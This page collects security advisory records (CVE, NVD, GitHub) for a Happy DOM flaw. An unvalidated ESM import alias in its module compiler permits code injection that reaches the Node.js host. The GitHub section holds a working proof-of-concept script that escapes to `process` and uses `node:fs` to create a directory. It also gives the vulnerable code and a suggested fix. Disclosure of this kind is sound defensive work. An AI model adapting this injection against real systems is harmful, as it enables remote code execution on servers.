Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

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Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. From 17.0.0 until 21.0.4, packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts accepts a named ESM import alias without validating that it is a JavaScript binding identifier before inserting it into a generated destructuring binding. With enableJavaScriptEvaluation enabled, attacker-controlled HTML or module source can use an invalid alias that becomes a valid default initializer after compilation, causing the generated JavaScript to execute in the Node.js host process. The demonstrated reachable path uses a JSON module import attribute, which prevents the malicious alias from being emitted again in a later ESM circular-import assignment and keeps the generated function syntactically valid. This incomplete fix for CVE-2026-33943 is a distinct residual path because the earlier remediation validated the local export importName path but not the named-import alias. This issue is fixed in version 21.0.4.

Source published

23 Oct 2026 21:32:24 UTC

Source modified

23 Oct 2026 21:32:24 UTC

Observed here

23 Oct 2026 22:48:20 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. From 17.0.0 until 21.0.4, packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts accepts a named ESM import alias without validating that it is a JavaScript binding identifier before inserting it into a generated destructuring binding. With enableJavaScriptEvaluation enabled, attacker-controlled HTML or module source can use an invalid alias that becomes a valid default initializer after compilation, causing the generated JavaScript to execute in the Node.js host process. The demonstrated reachable path uses a JSON module import attribute, which prevents the malicious alias from being emitted again in a later ESM circular-import assignment and keeps the generated function syntactically valid. This incomplete fix for CVE-2026-33943 is a distinct residual path because the earlier remediation validated the local export importName path but not the named-import alias. This issue is fixed in version 21.0.4.

Source published

23 Oct 2026 22:16:58 UTC

Source modified

23 Oct 2026 22:16:58 UTC

Observed here

25 Oct 2026 05:17:25 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

## Summary The ESM compiler in `[email protected]` does not validate imported local binding aliases before interpolating them into generated JavaScript. As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed. This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context. These issues were confirmed through the public `Window` and `<script type="module">` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem. ## Confirmed affected versions The PoC was directly tested against: - `[email protected]` - `[email protected]` - `[email protected]` - `[email protected]` The same PoC does not trigger on `[email protected]`. The ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing. Suggested affected range: ```text >= 17.0.0, <= 20.14.5 ``` No patched version is currently available. ## Preconditions - JavaScript evaluation is enabled with `enableJavaScriptEvaluation: true`. - Attacker-controlled HTML or module source is processed by Happy DOM. - This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML. ## Technical details In `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the named import handler splits an import specifier and extracts its alias: ```ts const nameParts = part.trim().split(/\s+as\s+/); const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const name = nameParts[0].replace(/["']/g, ''); if (alias && name) { properties.push({ name, alias }); } ``` Unlike the patched `export { ... }` handler, the value of `alias` is not validated as a JavaScript identifier. It is subsequently inserted directly into generated binding syntax: ```ts newCodeStart += `let {${properties .map((property) => property.alias ? `"${property.name}": ${property.alias}` : property.name ) .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`; ``` Consider the following source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` This is invalid ECMAScript module syntax. Node.js rejects it at the `=` token. Happy DOM instead transforms it into the equivalent of: ```js let { "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } = $happy_dom.imports.get('https://poc.local/dep.json'); ``` This generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes. The `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports: ```ts if (!match[7] || match[7] === 'esm') { resolvableCircularImports.push({ url, properties }); } ``` Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid. Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs: ```js globalThis.constructor.constructor(`return process`)() .getBuiltinModule(`node:fs`) .mkdirSync( globalThis.constructor.constructor(`return process`)().cwd() + `/HAPPY_DOM_RCE_PROOF` ) ``` ## Proof of concept The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`. ### 1. Create `package.json` ```json { "name": "happy-dom-import-alias-rce-poc", "private": true, "type": "module", "dependencies": { "happy-dom": "20.14.5" } } ``` ### 2. Create `dep.json` ```json {} ``` ### 3. Create `payload.mjs` This file is used as a control to demonstrate that a native ECMAScript parser rejects the source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` ### 4. Create `poc.mjs` ```js import { Window } from 'happy-dom'; import { existsSync, rmSync } from 'node:fs'; import { resolve } from 'node:path'; const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF'); rmSync(proofDirectory, { recursive: true, force: true }); const window = new Window({ url: 'https://poc.local/', settings: { enableJavaScriptEvaluation: true, suppressCodeGenerationFromStringsWarning: true, fetch: { virtualServers: [ { url: 'https://poc.local/', directory: process.cwd() } ] } } }); const script = window.document.createElement('script'); script.type = 'module'; script.textContent = ` import { missing as injected = globalThis.constructor.constructor(\`return process\`)() .getBuiltinModule(\`node:fs\`) .mkdirSync( globalThis.constructor.constructor(\`return process\`)().cwd() + \`/HAPPY_DOM_RCE_PROOF\` ) } from './dep.json' with { type: 'json' }; `; window.document.body.appendChild(script); await window.happyDOM.waitUntilComplete(); if (!existsSync(proofDirectory)) { console.error('[-] Exploit failed: proof directory was not created.'); console.error( window.happyDOM.virtualConsolePrinter.readAsString() ); process.exitCode = 1; } else { console.log(`[+] Host filesystem reached: ${proofDirectory}`); } await window.happyDOM.close(); ``` ### 5. Run the control test ```console npm install node --check payload.mjs ``` Expected result: ```text SyntaxError: Unexpected token '=' ``` This confirms that the source is not valid ESM. ### 6. Run the Happy DOM PoC ```console node poc.mjs ``` Expected result: ```text [+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF ``` The existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem. The PoC was also verified inside a `node:24-alpine` Docker container, where it created: ```text /poc/HAPPY_DOM_RCE_PROOF ``` ## Impact An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript. This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected. The demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process. ## Relationship to CVE-2026-33943 CVE-2026-33943 covers expression injection through a local export declaration: ```js export { attacker_expression } ``` Its fix added identifier validation to the `importName` used by the `export { ... }` handler: ```ts if ( exportName && importName && VALID_VARIABLE_NAME_REGEXP.test(importName) ) { // ... } ``` This report uses a different parsing and code-generation path: ```js import { name as malicious_alias } from './module'; ``` The unvalidated value is the local import `alias`, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943. The issue remains reproducible in versions released after the CVE-2026-33943 fix, including `20.14.5`. ## Suggested fix Validate the imported local binding before placing it into code context. The existing `VALID_VARIABLE_NAME_REGEXP` can be reused: ```diff - if (alias && name) { + if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) { ``` A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated. This change was tested locally. The focused `ECMAScriptModuleCompiler` test suite passes with 30 tests, and ESLint reports no errors. For additional hardening, generated property keys should use `JSON.stringify()` instead of manual quote interpolation. ## Verification record - Testing date: 2026-09-17 - Duplicate check updated: 2026-09-20 - Platform: Windows 11 - Node.js: `24.14.1` - Latest tested package: `[email protected]` - Source tag: `v20.14.5` - Source commit: `0d4cdbe7442af49d16b49ddf1acf7cc9684ed318` - First confirmed affected version: `17.0.0` - Confirmed unaffected version: `16.8.1` - Docker environment: Node 24 Alpine - No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.

Source published

23 Oct 2026 22:06:13 UTC

Source modified

23 Oct 2026 22:15:03 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Publisher rating · HIGH